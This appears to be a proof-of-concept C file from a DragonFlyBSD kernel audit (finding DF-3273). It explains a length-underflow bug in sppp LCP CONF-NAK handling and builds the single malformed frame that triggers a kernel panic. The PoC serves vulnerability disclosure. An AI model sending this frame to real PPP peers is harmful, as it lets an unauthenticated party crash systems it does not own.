⬢ DragonFlyBSD Kernel Audit
DF-3273 / poc_3273.c
← back to finding ↓ download raw
/*
 * DF-3273 PoC: unauthenticated peer one-frame kernel panic.
 *
 * sppp_cp_input() clamps len = min(m->m_pkthdr.len, ntohs(h->len)) and only
 * re-checks len<4 for CONF_REQ.  A CONF-NAK carrying h->len==0 slips through
 * the ident check (confid[] is 0 before the sppp layer ever sent a request)
 * and is dispatched to sppp_lcp_RCN_nak(sp, h, 0), which does
 *     len -= 4;                 -> -4
 *     kmalloc(len, M_TEMP, M_INTWAIT)   -> kmalloc(0xFFFFFFFFFFFFFFFC)
 * round_page() wraps to 0 -> degenerate oversized alloc -> freed garbage ->
 * panic (KKASSERT in slab allocator on the INVARIANTS kernel).
 *
 * Frame = PPP header (ff 03 c0 21) + LCP header (type=CONF_NAK, id=0, len=0)
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

int
main(void)
{
	unsigned char frame[] = {
		0xff, 0x03, 0xc0, 0x21,		/* PPP: LCP */
		0x03, 0x00, 0x00, 0x00,		/* CONF_NAK, id=0, h->len=0 */
	};
	int fd, n;

	fd = open("/dev/spppinj0", O_RDWR);
	if (fd < 0) { perror("open /dev/spppinj0"); exit(1); }

	printf("[*] injecting 1 LCP CONF-NAK frame, h->len=0\n");
	n = write(fd, frame, sizeof(frame));
	printf("[*] write returned %d\n", n);

	sleep(3);
	printf("[!] kernel still alive -- NOT reproduced\n");
	return 1;
}